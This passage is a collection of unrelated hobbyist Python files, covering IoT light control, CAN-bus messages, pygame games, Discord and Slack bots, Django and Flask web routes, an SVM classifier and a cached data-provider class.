        except Exception as err:
            print(f"Payload Object has an error.\nPayload: {payload}\nException Error: {err}")

    MQTTClient.subscribe(topic=f"LIGHT_MODE_CONTROL/{light_config['light_id']}", QoS=1, callback=on_light_signal_received)
    print("Subscribed to topic 'LIGHT_MODE_CONTROL' ...")

    while not light_control_function.stop:
        if Mode.mode == "AUTO":
            GPIO.output(output_pin, auto_mode(ldr_pin))
        elif Mode.mode == "ON":
            GPIO.output(output_pin, Mode_To_GPIO_Signal["ON"])
            # print("ON")
        elif Mode.mode == "OFF":
            GPIO.output(output_pin, Mode_To_GPIO_Signal["OFF"])

    print(f"Stopped thread for light-{light_config['light_id']}")


import can
import cantools
from cantools.database.can.database import Database
from cantools.database.can.message import Message
import py4can.common_utils as common_utils

from functools import partial

class MyMessage(Message):
    """docstring for MyMessage"""

    def __init__(self, std_msg, **kwargs):
        self._std_msg = std_msg
        self._in_file = False
        self._cycle_time = 0
        self._duration = 0
        self._send = True
        self._byte = None
        self._sig = self._gen_tx_dict()
        self._data_encode = lambda msg: msg.encode(msg.sig)
        try:
            std_msg = kwargs['data']
            kwargs['data'] = self._data_encode(std_msg)
        except KeyError:
            pass
        self._partial_can_fmt = partial(can.Message, arbitration_id=std_msg.frame_id, extended_id=False, **kwargs)
        super().__init__(std_msg.frame_id, std_msg.name, std_msg.length, std_msg.signals)

    def _update_sig_to_byte(self):
        self._byte = self._data_encode(self)
        self.can_formatted = self._partial_can_fmt(data=self._byte)

    def _update_byte_to_sig(self):
        # If bytes are represented as string, convert to int -> 'FF' to 255
        bytes_as_int = list(map(lambda x: x if isinstance(x, int) else int(x, base=16), self._byte))
        self._sig = self.decode(bytes_as_int, decode_choices=False)

    @property
    def sig(self):
        return self._sig

    @sig.setter
    def sig(self, new_sig):
        self._sig = common_utils.KeyFrozenDict(new_sig)

    @property
    def byte(self):
        return self._byte

    @byte.setter
    def byte(self, new_data):
        if len(new_data) != self._std_msg.length:
            raise ValueError
        self._byte = common_utils.IndexFrozenList(new_data)
        self._update_byte_to_sig()

    def _gen_tx_dict(self, def_val=0):
        data_dic = {}
        for sig in self._std_msg.signals:
            data_dic[sig.name] = def_val
        self._byte = common_utils.IndexFrozenList([def_val for _ in range(self._std_msg.length)])
        return common_utils.KeyFrozenDict(data_dic)

class MyDatabase(Database):
    """docstring for MyDatabase"""

    def __init__(self, arg):
        super().__init__()
        self.arg = arg

    def get_all_messages(self):
        return self.messages

    def get_message(self, msg_name):
        msg = self.arg.get_message_by_name(msg_name)
        return MyMessage(msg)

def load_dbc(filename):
    dbc_file = cantools.database.load_file(filename,
                                           database_format=None,
                                           encoding='utf-8',
                                           frame_id_mask=None,
                                           strict=True,
                                           cache_dir=None)
    return dbc_file


from collections import deque

for _ in range(int(input())):

    input()
    B, five = deque(), 0
    ans = []
    for _ in range(int(input())):
        if B and five:
            B.popleft()
            five -= 1

        name, money = input().split()
        money = int(money)

        if money == 15:
            five += 1
        elif five:
            five -= 1
        else:
            B.append(name)

        if len(B) > len(ans):
            ans = list(B)

    if ans:
        print(*ans)
    else:
        print('Line B stayed empty.')


"""
This module initializes the display and creates dictionaries of resources.
"""

import os
import pygame as pg

from data.core import tools

CAPTION = "Python Arcade Collab"
TITLE_TRACK = "Nils_505_Feske_-_03_-_Balibulu"
START_SIZE = (800, 600)
RENDER_SIZE = (928, 696)
RESOLUTIONS = [(600,400), (800, 600), (928, 696), (1280, 960), (1400, 1050)]
CARD_SIZE = (125, 181)
CHIP_SIZE = (32, 19)
WIN_POS = (0, 0)
MONEY = 1000
ARGS = tools.get_cli_args(CAPTION, WIN_POS, START_SIZE, MONEY)
# Adjust settings based on args
START_SIZE = int(ARGS['size'][0]), int(ARGS['size'][1])
DEBUG = bool(ARGS['debug'])

BACKGROUND_BASE = (5, 5, 15) # Pure Black is too severe.
LOW_LIGHT_GREEN = (0, 166, 8)
HIGH_LIGHT_GREEN = (0, 232, 37)

#Pre-initialize the mixer for less delay before a sound plays
pg.mixer.pre_init(44100, -16, 1, 512)

#Initialization
pg.init()
if ARGS['center']:
    os.environ['SDL_VIDEO_CENTERED'] = "True"
else:
    os.environ['SDL_VIDEO_WINDOW_POS'] = '{},{}'.format(*ARGS['winpos'])
pg.display.set_caption(CAPTION)
if ARGS['fullscreen']:
    pg.display.set_mode(START_SIZE, pg.FULLSCREEN)
else:
    pg.display.set_mode(START_SIZE, pg.RESIZABLE)
    pg.event.clear(pg.VIDEORESIZE)

# Resource loading (Fonts and music just contain path names).
FONTS = tools.load_all_fonts(os.path.join("resources", "fonts"))
MUSIC = tools.load_all_music(os.path.join("resources", "music"))
SFX   = tools.load_all_sfx(os.path.join("resources", "sound"))
GFX   = tools.load_all_gfx(os.path.join("resources", "graphics"))

# It's time to start the music, it's time to light the lights.
pg.mixer.music.load(MUSIC[TITLE_TRACK])
pg.mixer.music.set_volume(.2)
if not ARGS["music_off"]:
    pg.mixer.music.play(-1)


from commands import arguments
import discord
import bot
from commands import fibcontroller

hasJoined = discord.Embed(title="Join successful", description="You have joined the game of fib, and your cards will be displayed here.", color=0x00ff00)
notRunningGame = discord.Embed(title="That's not a running game.", description="", color=0x00ff00)
notenoughArgs = discord.Embed(title="Not enough arguments", description = '', color = 0x00ff00)

if len(arguments.args) == 2:
  if arguments.args[0] == "fib":
    if int(arguments.args[1]) in fibcontroller.runningGamesNumber:
        if  fibcontroller.runningGamesClasses[fibcontroller.runningGamesNumber.index(int(arguments.args[1]))].joinable == True:
          if arguments.currentmessage.author in fibcontroller.runningGamesClasses[fibcontroller.runningGamesNumber.index(int(arguments.args[1]))].players:
            arguments.messageReturn = "%s, you are already in fib lobby %s" % (arguments.currentmessage.author, arguments.args[1])
          else:
            fibcontroller.runningGamesClasses[fibcontroller.runningGamesNumber.index(int(arguments.args[1]))].add_player(arguments.currentmessage.author)
            arguments.messageReturn = ['mul', 2,["embed", arguments.currentmessage.author, hasJoined],['ms', fibcontroller.runningGamesClasses[int(arguments.args[1]) - 1].channel, "%s has joined fib lobby %s" % (arguments.currentmessage.author, arguments.args[1])]]
        else:
          arguments.currentmessage = "That game has already started"
    else:
      arguments.messageReturn = ['embed', arguments.currentmessage.channel, notRunningGame]

else:
  arguments.messageReturn = ['embed', arguments.currentmessage.channel, notenoughArgs]


from django.contrib import admin
from django.urls import path, include
from . import views

urlpatterns = [
    path('', views.home, name="home"),
    path('about', views.about, name="about"),
    path('contact', views.contact, name="contact"),
    path('handlesingup', views.handlesingup, name="handlesingup"),
    path('handlelogin', views.handlelogin, name="handlelogin"),
    path('handlelogout', views.handlelogout, name="handlelogout"),
    path('handleblogs', views.handleblogs, name="handleblogs"),
    path('<str:slug>', views.not_found, name="not_found"),
]


import argparse
import random
import string

from hamcrest import *

from cyberbrain import Symbol

def test_telephone(trace, check_golden_file):
    @trace
    def test_telephone_inner():
        args = argparse.Namespace(
            mutations=0.6, seed=2, text="The quick brown fox jumps over the lazy dog."
        )
        text = args.text
        random.seed(args.seed)
        alpha = "".join(sorted(string.ascii_letters + string.punctuation))
        len_text = len(text)
        num_mutations = round(args.mutations * len_text)
        new_text = text

        for i in random.sample(range(len_text), num_mutations):
            new_char = random.choice(alpha.replace(new_text[i], ""))
            new_text = new_text[:i] + new_char + new_text[i + 1 :]

        print(f'You said: "{text}"\nI heard : "{new_text}"')

    test_telephone_inner()

    # Events should exclude modules.
    assert_that(trace.events, not_(has_item(has_property("target", Symbol("random")))))
    assert_that(
        trace.events,
        has_item(
            has_properties(
                {
                    "target": Symbol("i"),
                    "sources": {Symbol("len_text"), Symbol("num_mutations")},
                }
            )
        ),
    )


from flask import (
	Blueprint, redirect, render_template, request,
    session, url_for, abort, current_app as app)
from werkzeug.utils import secure_filename
from matchFinder.forms import themen_form
from matchFinder.forms import teilnehmer_form
from . import database_helper
from . import txt_parser
from . import helper
import os

bp = Blueprint('upload', __name__, url_prefix='/upload')

@bp.before_request
def check_status():
    """
    If the user is unauthenticated,
    this method redirects to the homepage.
    Called before each request to this subdomain
    """
    if session.get('is_authenticated') != True:
        return redirect(url_for('home.index'))

@bp.route('/')
def index():
    return render_template('upload.html')

@bp.route('/', methods=['POST'])
def file():
    """
    This function takes a file and a name and saves the entries
    into the database after parsing the file contents to arrays.
    """

    uploaded_file = request.files['file']
    if helper.validate_file(uploaded_file, app):
        teilnehmer_name = request.form.get('teilnehmer_name', None)
        themen_name = request.form.get('themen_name', None)
        if themen_name == None:
            teilnehmer = txt_parser.array_from_teilnehmer(uploaded_file)
            number_saved, error = database_helper.save_teilnehmer(teilnehmer, teilnehmer_name)
        elif teilnehmer_name == None:
            themen = txt_parser.array_from_themen(uploaded_file)
            number_saved = database_helper.save_themen(themen, themen_name)
        return redirect(url_for('upload.index', items_saved=number_saved))
    else:
        abort(400)
    return redirect(url_for('upload.index', items_saved=False))

@bp.route('/themen_manually', methods=['POST'])
def themen_manually():
    """
    handles the manual creates of themen.
    Uses WTForms to look for valid forms.
    """

    themenform = themen_form.ThemenForm()
    if themenform.validate_on_submit():
        # form is filled out and valid
        # save data to database

        rtn = database_helper.save_themen(
            themenform.themen.data,
            themenform.themen_name.data)
        return redirect(url_for('upload.index', items_saved=rtn))

    # form is not filled, present form to user
    number_of_themen = request.form.get('number_themen', None)
    if number_of_themen != None and int(number_of_themen) > 0:
        for i in range(int(number_of_themen)):
            thema_form = themen_form.ThemaEntryForm()
            themenform.themen.append_entry(thema_form)
        return render_template('upload_themen.html', form=themenform)
    return redirect(url_for('upload.index'))

@bp.route('/teilnehmer_manually', methods=['POST'])
def teilnehmer_manually():
    """
    handles the manual creates of teilnehmer.
    Uses WTForms to look for valid forms.
    """

    teilnehmerform = teilnehmer_form.TeilnehmerForm()
    if teilnehmerform.validate_on_submit():
        # form is filled out and valid
        # save data to database

        number_saved, error = database_helper.save_teilnehmer(
            teilnehmerform.teilnehmer.data,
            teilnehmerform.teilnehmer_name.data)
        if error == None:
            return redirect(url_for('upload.index', items_saved=number_saved))
        else:
            return redirect(url_for('upload.index', error=error))

    # form is not filled, present form to user
    number_of_teilnehmer = request.form.get('number_teilnehmer', None)
    if number_of_teilnehmer != None and int(number_of_teilnehmer) > 0:
        for i in range(int(number_of_teilnehmer)):
            single_teilnehmer_form = teilnehmer_form.TeilnehmerEntryForm()
            teilnehmerform.teilnehmer.append_entry(single_teilnehmer_form)
        return render_template('upload_teilnehmer.html', form=teilnehmerform)
    return redirect(url_for('upload.index'))


from typing import List, Optional

import random
import queue

import pygame

from . import helpers

from .. import binds
from .. import constants as c
from .. import gameinfo
from .. import phys
from .. import setup
from .. import tools

class Player(pygame.sprite.Sprite):
    def __init__(self, x: int, y: int) -> None:
        super().__init__()

        self.sprite_sheet = setup.GFX["hero"]
        self.current_frames = self.load_up_sprites_from_sheet()

        self.frames_dict = {
            c.Direction.UP: self.load_up_sprites_from_sheet(),
            c.Direction.DOWN: self.load_down_sprites_from_sheet(),
            c.Direction.LEFT: self.load_left_sprites_from_sheet(),
            c.Direction.RIGHT: self.load_right_sprites_from_sheet(),
            c.Direction.LEFTUP: self.load_left_sprites_from_sheet(),
            c.Direction.RIGHTUP: self.load_right_sprites_from_sheet(),
            c.Direction.LEFTDOWN: self.load_left_sprites_from_sheet(),
            c.Direction.RIGHTDOWN: self.load_right_sprites_from_sheet(),
        }

        self.current_frames = self.load_up_sprites_from_sheet()
        self.frame_index = 0

        self.image = self.current_frames[self.frame_index]
        self.rect = self.image.get_rect()
        self.rect.x = x
        self.rect.y = y

        self.vel = c.speeds["player"] * c.FPS

        self.direction = c.Direction.NONE
        self.previous_direction = c.Direction.NONE
        self.x_vel = 0
        self.y_vel = 0

        self.dt = 0
        self.walking_timer = 0
        self.animation_speed_static = 120

    def load_up_sprites_from_sheet(self) -> List[pygame.Surface]:
        images = []
        # Duplicate first image, use first image as a placeholder
        # indicating that the animation hasn't ran yet
        images.append(helpers.get_image(79, 283, 98, 202, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(79, 283, 98, 202, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(335, 283, 98, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(591, 283, 98, 202, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(847, 283, 98, 198, self.sprite_sheet, c.NPC_MULT))
        return images

    def load_down_sprites_from_sheet(self) -> List[pygame.Surface]:
        images = []
        # Duplicate first image, use first image as a placeholder
        # indicating that the animation hasn't ran yet
        images.append(helpers.get_image(79, 27, 98, 202, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(79, 27, 98, 202, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(335, 27, 98, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(591, 27, 98, 202, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(847, 27, 98, 198, self.sprite_sheet, c.NPC_MULT))
        return images

    def load_left_sprites_from_sheet(self) -> List[pygame.Surface]:
        images = []
        # Duplicate first image, use first image as a placeholder
        # indicating that the animation hasn't ran yet
        images.append(helpers.get_image(67, 535, 106, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(67, 535, 106, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(323, 535, 106, 194, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(579, 535, 106, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(835, 535, 106, 194, self.sprite_sheet, c.NPC_MULT))
        return images

    def load_right_sprites_from_sheet(self) -> List[pygame.Surface]:
        images = []
        # Duplicate first image, use first image as a placeholder
        # indicating that the animation hasn't ran yet
        images.append(helpers.get_image(83, 791, 106, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(83, 791, 106, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(339, 791, 106, 194, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(595, 791, 106, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(851, 791, 106, 194, self.sprite_sheet, c.NPC_MULT))
        return images

    def set_velocity(self) -> None:
        """Set the speed based on the direction"""
        # Convert dt to seconds (milliseconds / 1000)
        dt_s = self.dt / 1000
        self.walk_sp = round(self.vel * dt_s)
        self.diag_sp = round(phys.normalize(self.vel, self.vel) * dt_s)

        if self.direction == c.Direction.LEFT:
            self.x_vel = -self.walk_sp
            self.y_vel = 0
        elif self.direction == c.Direction.RIGHT:
            self.x_vel = self.walk_sp
            self.y_vel = 0
        elif self.direction == c.Direction.UP:
            self.x_vel = 0
            self.y_vel = -self.walk_sp
        elif self.direction == c.Direction.DOWN:
            self.x_vel = 0
            self.y_vel = self.walk_sp
        elif self.direction == c.Direction.LEFTUP:
            self.x_vel = -self.diag_sp
            self.y_vel = -self.diag_sp
        elif self.direction == c.Direction.LEFTDOWN:
            self.x_vel = -self.diag_sp
            self.y_vel = self.diag_sp
        elif self.direction == c.Direction.RIGHTUP:
            self.x_vel = self.diag_sp
            self.y_vel = -self.diag_sp
        elif self.direction == c.Direction.RIGHTDOWN:
            self.x_vel = self.diag_sp
            self.y_vel = self.diag_sp
        else:
            self.x_vel = 0
            self.y_vel = 0

    def walk(self, inp: binds.Input) -> None:
        self.previous_direction = self.direction

        if inp.held("move_left"):
            if inp.held("move_up"):
                self.direction = c.Direction.LEFTUP
            elif inp.held("move_down"):
                self.direction = c.Direction.LEFTDOWN
            else:
                self.direction = c.Direction.LEFT

        elif inp.held("move_right"):
            if inp.held("move_up"):
                self.direction = c.Direction.RIGHTUP
            elif inp.held("move_down"):
                self.direction = c.Direction.RIGHTDOWN
            else:
                self.direction = c.Direction.RIGHT

        elif inp.held("move_up"):
            self.direction = c.Direction.UP
        elif inp.held("move_down"):
            self.direction = c.Direction.DOWN
        else:
            self.direction = c.Direction.NONE
        self.set_velocity()

        new_x, new_y = tools.fix_edge_bounds(rect=self.rect, highest_x=setup.map_size.get_width(), highest_y=setup.map_size.get_height(), x_vel=self.x_vel, y_vel=self.y_vel)

        # Set and then correct x and y one at a time.
        self.rect.x = new_x
        collided = self.get_closest_collisions()
        if collided is not None:
            self.check_x_collisions(collided)

        self.rect.y = new_y
        collided = self.get_closest_collisions()
        if collided is not None:
            self.check_y_collisions(collided)

    def check_x_collisions(self, collided: pygame.rect.Rect) -> None:
        if self.rect.x < collided.x:
            self.rect.right = collided.left
        elif self.rect.x > collided.x:
            self.rect.left = collided.right
        self.x_vel = 0

    def check_y_collisions(self, collided: pygame.rect.Rect) -> None:
        if self.rect.y > collided.y:
            self.rect.y = collided.bottom
        elif self.rect.y < collided.y:
            self.rect.bottom = collided.top
        self.y_vel = 0

    def get_closest_collisions(self) -> Optional[pygame.rect.Rect]:
        """
        # XXX Later check for the collidable that is the closest to the player's
        # center.
        Inefficient method: return pygame.sprite.spritecollideany(self, self.collidable_group)
        """
        # Find the tiles around the current tile. Loop through (-1, 0, 1).
        for i in range(-1, 2, 1):
            for j in range(-1, 2, 1):
                try:
                    x = self.rect.x
                    y = self.rect.y
                    ts = c.TILE_SIZE

                    # Get the nearest grid point. Truncate to the nearest
                    # multiple of 64 (Eg. 130 - 130 % 64 => 128 / 64 => 2)
                    grid_x = int((self.rect.x - (self.rect.x % ts)) / ts)
                    grid_y = int((self.rect.y - (self.rect.y % ts)) / ts)

                    if self.collidable_grid[grid_x + i][grid_y + j] > 0:
                        # Expand grid_x and grid_y  back into normal
                        # coords (*64), then add the current i and j.
                        rect = pygame.rect.Rect((grid_x*64 + i*ts, grid_y*64 + j*ts), (c.TILE_SIZE, c.TILE_SIZE))
                        if self.rect.colliderect(rect):
                            return rect
                except IndexError:
                    pass

    def handle_state(self, inp: binds.Input) -> None:
        # Let walking handle input.
        # XXX Later if the player has a certain state, such as set to worker
        # mode, when I can change the worker to auto_walking, pathfinding,
        # searching for tree, etc etc. Right now he's just walking...
        self.walk(inp)

        #if self.state == "sliding":
        #   don't allow user input
        #   and slide in that x or y direction until a wall is hit.

    def update(self, game_info: gameinfo.GameInfo, collidable_grid: List[List[int]]) -> None:
        self.collidable_grid = collidable_grid
        self.dt = game_info.dt

        self.handle_state(game_info.inp)
        self.animate_walk(game_info.game_time)

        # Have player publish it's own sprite for spritecollideany checking of lootable objects.
        game_info.player = self

    def animate_walk(self, game_time: int) -> None:
        if not self.direction == c.Direction.NONE:
            # If the sprite is moving, set the animation frames based on direction.
            self.current_frames = self.frames_dict[self.direction]

        if self.direction == c.Direction.NONE:
            self.animation_speed = 0
        else:
            self.animation_speed = self.animation_speed_static

        if self.frame_index == 0:
            self.frame_index += 1

            # Setting timer for the first time
            self.walking_timer = game_time
        elif self.direction == c.Direction.NONE:
            # Select standing still images.
            if self.previous_direction == c.Direction.UP or self.previous_direction == c.Direction.DOWN:
                self.frame_index = 1
            elif self.previous_direction == c.Direction.LEFT \
                    or self.previous_direction == c.Direction.RIGHT \
                    or self.previous_direction == c.Direction.LEFTUP \
                    or self.previous_direction == c.Direction.RIGHTUP \
                    or self.previous_direction == c.Direction.LEFTDOWN \
                    or self.previous_direction == c.Direction.RIGHTDOWN:
                self.frame_index = 2
        else:
            if game_time - self.walking_timer > self.animation_speed:
                self.frame_index += 1

                if self.frame_index >= len(self.current_frames):
                    self.frame_index = 1
                self.walking_timer = game_time

        self.image = self.current_frames[self.frame_index]


from __future__ import print_function
import re
import json
import requests

def sendResponse(event,result=0):
    url = "https://slack.com/api/chat.postMessage"
    if result:
        text = event["amount"] + " " + event["source"] + " is " + str(result) + " " + event["target"]
    else:
        text = event["reply"]
    payload = {"token": event["bot"]["bot_access_token"], "channel": event["event"]["channel"], "text": text}
    response = requests.post(url, data=payload)
    response_json = response.json()
    print(payload)
    event.update(response_json)
    return event
def callFixer(event):
    url = "http://api.fixer.io/latest"
    payload = {"base": event["source"], "symbols": event["target"]}
    response = requests.get(url, params=payload)
    response_json = response.json()
    event.update(response_json)
    result = response_json["rates"][event["target"]] * float(event["amount"])
    print(result)
    sendResponse(event,result)
def doCommand(event):
    command = re.split("> ",event["event"]["text"],maxsplit=1)[1]
    m = re.match("[a-zA-Z\s]*(\d+\.?\d*).*([a-zA-Z]{3}).*([a-zA-Z]{3})",command)
    if bool(m):
        commandParams = {"amount": m.group(1), "source": m.group(2).upper(), "target": m.group(3).upper()}
        print(commandParams)
        event.update(commandParams)
        print(event)
        callFixer(event)
        return event
    reply = "Not my Job Bro! Please enter something like 'Convert 1 AUD to USD'"
    event.update({"reply": reply})
    print(event)
    sendResponse(event)
    return event
def log(event):
    print(json.dumps(event))
def lambda_handler(event,context):
    log(event)
    doCommand(event)


# from comet_ml import Experiment
import os
import pickle
import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn import metrics
from sklearn.model_selection import GridSearchCV, KFold, RandomizedSearchCV
from scipy import stats
from sklearn import svm
from comet import push_best_model
from plot_metrics import *

def getData(dataset="train"):
  data = pd.read_csv('../../data/' + dataset + '.csv')
  data = data.dropna()
  x_train = data.iloc[:,0:20]
  x_train = x_train.drop(["gameId"], axis=1)
  cols = ["shotType", "lastEventType"]
  x_train[cols] = x_train[cols].astype('category')
  x_train["shotType"] = x_train['shotType'].cat.rename_categories({k: v for v, k in enumerate(np.array(pd.Categorical(x_train["shotType"]).categories))})
  x_train["lastEventType"] = x_train['lastEventType'].cat.rename_categories({k: v for v, k in enumerate(np.array(pd.Categorical(x_train["lastEventType"]).categories))})
  x_train[cols] = x_train[cols].astype('int')
  y_train = data.iloc[:,-1:].to_numpy().flatten()
  return (x_train, y_train)

# from best_svm import SVM, getData
# x_train, y_train = getData()
# ludo = SVM(x_train, y_train)

def SVM(X, y, experiment_name="svm"):
    #Train and valid split
    X_train,X_val,y_train,y_val = train_test_split(X, y, test_size=0.2, random_state=42)

    # SVM Classifier
    # model = svm.SVC()
    gs = svm.SVC(probability=True)

    # params = {
    #     'C': stats.expon(scale=100),
    #     'gamma': stats.expon(scale=.1),
    #     'kernel': ['rbf'],
    #     'class_weight':['balanced']
    # }

    # gs = RandomizedSearchCV(
    #                         estimator = model,
    #                         param_distributions = params,
    #                         scoring = 'recall',
    #                         refit = True,
    #                         cv = 3,
    #                         verbose = 10,
    #                         n_iter = 25,
    #                         # n_iter = 2,
    #                         n_jobs = -1)

    gs.fit(X_train, y_train)

    # save the model to disk
    filename = '../../model/' + experiment_name + '_best_prob.pkl'
    pickle.dump(gs, open(filename, 'wb'))

    # print('Best score:', gs.best_score_)
    # print('Best score:', gs.best_params_)

    # Predict on validation set
    y_pred = gs.predict(X_val)

    #Probability estimates
    # pred_probs = gs.predict_proba(X_val)

    #Model Evaultion Metrics
    # gs_best_score = gs.best_score_sad
    accuracy = metrics.accuracy_score(y_val, y_pred)
    f1_score = metrics.f1_score(y_val, y_pred)
    precision = metrics.precision_score(y_val, y_pred)
    recall = metrics.recall_score(y_val, y_pred)
    roc_auc = metrics.roc_auc_score(y_val, y_pred)
    cf_matrix = metrics.confusion_matrix(y_val,y_pred)
    metrics_dict = {
                    # 'Grid_search_BestScore' :  gs_best_score,
                    'accuracy': accuracy,
                    "f1_score": f1_score,
                    "precision": precision,
                    "recall": recall,
                    "roc_auc": roc_auc,
                    }
    print(metrics_dict)

    # experiment.log_parameters(params)
    # experiment.log_metrics(metrics_dict)
    # experiment.log_confusion_matrix(matrix=cf_matrix)
    # experiment.log_model(experiment_name, filename)

    # return pred_probs, accuracy, f1_score, precision, recall, roc_auc, cf_matrix, gs_best_score
    return accuracy, f1_score, precision, recall, roc_auc, cf_matrix

if __name__ == '__main__':
  x_train, y_train = getData()
  X_train,X_val,y_train,y_val = train_test_split(x_train, y_train, test_size=0.2, random_state=42)

  # svc = SVM(x_train, y_train)
  model = pickle.load(open('../../model/svm_best_prob.pkl', 'rb'))
  print("Pushing model...")
  res = push_best_model(X_val, y_val, model, "best_svm_prob", "../../model/svm_best_prob.pkl", ["svm", "best_model"])


from DailyBIBLE import *
import requests
from bs4 import BeautifulSoup

def event(self):
    self.pushButton.clicked.connect(self.crolling)

def crolling(self):
        source = requests.get("http://bible.godpia.com/index.asp").text
        soup = BeautifulSoup(source, "html.parser")
        hotKeys = soup.select(".main-tit")
        subKeys = soup.select(".main-sub-tit")
        self.bible.append(hotKeys[0].text)
        self.bible.append("<" + subKeys[0].text + ">")

Ui_MainWindow.event = event
Ui_MainWindow.crolling = crolling

if __name__ == "__main__":
    import sys
    app = QtWidgets.QApplication(sys.argv)
    MainWindow = QtWidgets.QMainWindow()
    ui = Ui_MainWindow()
    ui.setupUi(MainWindow)
    ui.event()
    MainWindow.show()
    sys.exit(app.exec_())


from flask import Flask, render_template, request, make_response
import random

app = Flask(__name__)

@app.route("/", methods=["GET","POST"])
def index():
    if request.method == "GET":
        secret = request.cookies.get("secret_number")
        res = make_response(render_template("index.html"))

        if not secret:
            secret_new = random.randint(1, 30)
            res.set_cookie("secret_number", str(secret_new))

        return res

    elif request.method == "POST":
        guess = int(request.form.get("guess"))
        secret = int(request.cookies.get("secret_number"))
        print(guess)

        if guess == secret:
            msg = "You've guessed it - congratulations! It's number {0}".format(str(secret))
            res = make_response(render_template("success.html", message=msg))
            res.set_cookie("secret_number", str(random.randint(1, 30)))
            return res
        elif guess > secret:
            msg = "Your guess is not correct... try something smaller."
            return render_template("wrong.html", message=msg)
        elif guess < secret:
            msg = "Your guess is not correct... try something bigger."
            return render_template("wrong.html", message=msg)

if __name__ == '__main__':
    app.run()


from django.urls import path

from .views import ExchangeFormView, CurrencyDetailView

app_name = 'converter'
urlpatterns = [
    path('', ExchangeFormView.as_view()),
    path(
        'exchange_currency/',
        ExchangeFormView.as_view(),
        name='exchange_currency'
        ),
    path(
        '<str:slug>/',
        CurrencyDetailView.as_view(),
        name='currency_detail_view'
        )
]


import typing
from abc import ABCMeta, abstractmethod as abstract_method
from collections import defaultdict as default_dict

from data_providers.exceptions import with_context

__all__ = [
    'BaseDataProvider',
    'DataProvider',
    'MutableDataProviderMixin',
]

TKey = typing.TypeVar('TKey', bound=typing.Hashable)
TVal = typing.TypeVar('TVal')

class BaseDataProvider(typing.Generic[TKey, TVal], metaclass=ABCMeta):
    """
    Implementation of the flywheel pattern.  Bulk-loads data from a backend
    and parcels them out on an as-needed basis.
    """

    def __init__(self):
        super(BaseDataProvider, self).__init__()

        self._cache = self._create_cache()
        """
        Caches data loaded from the backend so that it can be accessed easily.
        """

        self._pending_load_keys: typing.Set[typing.Hashable] = set()
        """
        Stores lookup keys for values that haven't been loaded yet.

        Note: This value should be a set; if you find yourself wanting to use a
        dict here, :py:class:`BaseDataProviderDelegate` is probably a better
        fit for your use case.
        """

        self._pending_cache_keys: typing.Dict[
            typing.Hashable,
            typing.Set[typing.Hashable]
        ] = default_dict(set)
        """
        Stores cache keys for values that haven't been loaded yet.

        This is used to gracefully handle cases where the backend doesn't
        return data for one or more load keys.
        """

    def __getitem__(self, value: TKey) -> TVal:
        """
        Returns data for the specified value.

        :param value:
            The lookup key.

        :raise:
            - :py:class:`ValueError` if the value wasn't registered first.
        """
        # Determine the key we will use to look up the value in the cache.
        cache_key = self.gen_cache_key(value)
        if cache_key is None:
            return self.gen_empty_result()

        try:
            cached = self._get_from_cache(cache_key)
        except KeyError:
            # The value has not been cached yet.
            # Determine which data we need to load from the backend.
            load_key = self.gen_load_key(value)
            if load_key is None:
                cached = self.gen_empty_result()
            else:
                # If the key hasn't been registered, we cannot continue.
                # If we were to allow loading without registering, we would
                # undermine the whole point of using a flywheel in the first
                # place!
                if load_key not in self._pending_load_keys:
                    raise with_context(
                        ValueError(
                            f'Attempting to get data for '
                            'unregistered value {value!r}.',
                        ),

                        context={
                            'cacheKey': cache_key,
                            'loadKey': load_key,
                            'value': value,
                        },
                    )

                # Load data from the backend and populate/extend the cache.
                self._load_data(load_key)

                # Try loading from cache again, this time without a safety net.
                cached = self._get_from_cache(cache_key)

        return cached

    @abstract_method
    def fetch_from_backend(self, load_keys: typing.Set[typing.Hashable]) -> \
            typing.Union[
                typing.Mapping[typing.Hashable, TVal],
                typing.Iterable[typing.Tuple[typing.Hashable, TVal]],
            ]:
        """
        Fetches data from the backend for the specified load keys.

        :return:
            A mapping, or a generator that yields (key, value) pairs.

            The keys in the resulting mapping should correspond to the data
            provider's cache keys (from :py:meth:`gen_cache_key`).
        """
        raise NotImplementedError(
            'Not implemented in {cls}.'.format(cls=type(self).__name__),
        )

    def gen_load_key(self, key: TKey) -> typing.Optional[typing.Hashable]:
        """
        Extracts the value that will be used by the backend to load
        data for the specified value.

        If this method returns ``None``, then the data provider will
        never attempt to return data for that value; if that value is
        passed to :py:meth:`__getitem__`, the data provider will return
        an empty result instead (see :py:meth:`gen_empty_result`).

        :param key:
            The key passed to :py:meth:`__getitem__`.
        """
        return key

    def gen_cache_key(self, key: TKey) -> typing.Optional[typing.Hashable]:
        """
        Generates a lookup key for the data provider's cached data.

        If this method returns ``None``, then the data provider will never
        attempt to return data for that value; if that value is passed to
        :py:meth:`__getitem__`, the data provider will return an empty result
        instead (see :py:meth:`gen_empty_result`).

        :param key:
            The key value passed to ``__getitem__``.
        """
        return self.gen_load_key(key)

    def gen_empty_result(self) -> typing.Optional[TVal]:
        """
        Generates an empty result that is returned if the backend cannot (or
        will not) return data for a particular key.

        You may override this method in a subclass if desired.  This method may
        return any value, or even raise an exception, depending on the use
        case.
        """
        return None

    def register(self, values: typing.Iterable[TKey]) -> None:
        """
        Registers a set of values so that the data provider can plan out the
        bulk queries it needs to execute against the backend.
        """
        for v in values:
            self._add_to_key_registry(v)

    def warm_cache(self):
        """
        Warms the cache, fetching data for any keys that haven't been loaded
        yet.

        Note: the data provider will automatically load data from the backend
        as needed.  In general, you shouldn't have to invoke this method,
